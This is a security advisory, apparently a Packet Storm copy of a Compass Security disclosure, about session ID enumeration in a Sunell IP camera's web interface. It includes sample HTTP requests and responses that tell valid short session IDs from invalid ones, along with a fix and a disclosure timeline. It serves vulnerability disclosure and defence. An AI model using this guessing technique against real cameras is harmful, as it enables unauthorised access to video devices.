Sunell IPCAMERA IPR54/14AKDN(II)/13 Session ID Enumeration

2017-05-27T00:00:00
ID PACKETSTORM:142700
Type packetstorm
Reporter Stephan Sekula
Modified 2017-05-27T00:00:00

Description

                                        
                                            `#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/research/advisories/  
#  
#############################################################  
#  
# Product: Sunell IPCAMERA IPR54/14AKDN(II)/13 [1]  
# Vendor: Shenzhen Sunell Technology Corporation  
# CSNC ID: CSNC-2017-012  
# Subject: Session ID Enumeration  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Stephan Sekula <stephan.sekula@compass-security.com>  
# Date: 18.04.2017  
#  
#############################################################  
  
Introduction:  
-------------  
Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor  
and outdoor applications. Equipped with a 2MP sensor enabling viewing  
resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing  
high quality video at high resolution of up to 2MP even in low light environments. [1]  
  
Compass Security discovered a web application security flaw in the camera's  
web interface, which allows an attacker to enumerate valid session IDs.  
This allows an attacker to effectively guess a valid session and thus, get access  
to the web interface.  
  
  
Affected:  
---------  
Vulnerable:  
* v2.0.0801.1002.1.1.136.0.0  
  
  
Technical Description  
---------------------  
The camera's web interface expects the user's session ID to be sent via an  
HTTP GET parameter (which can be cached). Furthermore, this ID is short.  
This fact, in combination with the server's different responses, depending  
on the ID's validity, allow an attacker to guess valid session IDs.  
  
Request (valid session ID):  
GET /asppage/common/IPC_DeviceInfo.asp?ID=56486 HTTP/1.1  
Host: 192.168.0.120  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423  
Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream  
Connection: close  
  
Response:  
HTTP/1.0 200 OK  
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN  
Cache-Control: max-age=180  
Content-type: text/html  
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">  
<html>  
<head>  
[CUT]  
<textarea id="XMLData" name="XMLData" style="display:none"><MPLDCProtocol ProtocolType="1">  
<MPLDCPDeviceConfig ReturnValue="0" ErrorDescription="TK_RefreshConfigInfoSuccess" OperateType="4">  
<DeviceInfoEx User="" Password="" DeviceID="0BCF7B" IP="192.168.0.120" Port="30001" />  
<DeviceConfigID ID="DeviceConfig_DeviceInfo" />  
<ConfigItem ID="ID_UUIDFlag" Value="true" />  
<ConfigItem ID="ID_UUID" Value="111fc9f24708E" />  
[CUT]  
<ConfigItem ID="ID_DeviceModel" Value="IPR54/04AQDN/23" />  
</MPLDCPDeviceConfig>  
</MPLDCProtocol>  
</textarea>  
[CUT]  
</body>  
</html>  
  
  
Request (invalid session ID):  
GET /asppage/common/IPC_DeviceInfo.asp?ID=56400 HTTP/1.1  
Host: 192.168.0.120  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423  
Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream  
Connection: close  
  
Response:  
HTTP/1.0 200 OK  
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN  
Cache-Control: max-age=180  
Content-type: text/html  
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">  
<html>  
<head>  
[CUT]  
<textarea id="XMLData" name="XMLData" style="display:none"></textarea>  
[CUT]  
</head>  
<body onload="initWeb();" onresize="window.top.adjustBindDivXY();">  
[CUT]  
<span class="leftSpan" id="TK_DeviceID"></span>  
<span class="rightSpan"><label id="ID_DeviceID" name="ID_DeviceID"></label></span>  
[CUT]  
<span class="leftSpan" id="TK_DeviceName"></span>  
<span class="rightSpan">  
<a href="javascript:submitData();"><image src="../../image/apply.png" style="height:20px;cursor:pointer;"/></a>  
</span>  
<span class="rightSpan"><input type="text" id="ID_DeviceName" name="ID_DeviceName" maxlength="32"/></span>  
 </div>  
[CUT]  
</body>  
</html>  
  
  
Workaround / Fix:  
-----------------  
This issue can be fixed by issuing longer, random session IDs, which  
cannot be guessed.  
  
  
Timeline:  
---------  
2017-05-18: Public disclosure date  
2017-04-18: Vendor notification (No response)  
2017-03-22: Initial vendor notification (No response)  
2017-03-22: Discovery by Stephan Sekula  
  
  
References:  
-----------  
[1] http://www.sunellsecurity.com  
  
  
`